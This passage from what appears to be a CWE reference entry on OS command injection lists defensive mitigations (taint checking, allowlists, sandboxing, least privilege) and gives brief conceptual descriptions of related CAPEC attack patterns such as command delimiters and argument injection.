Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.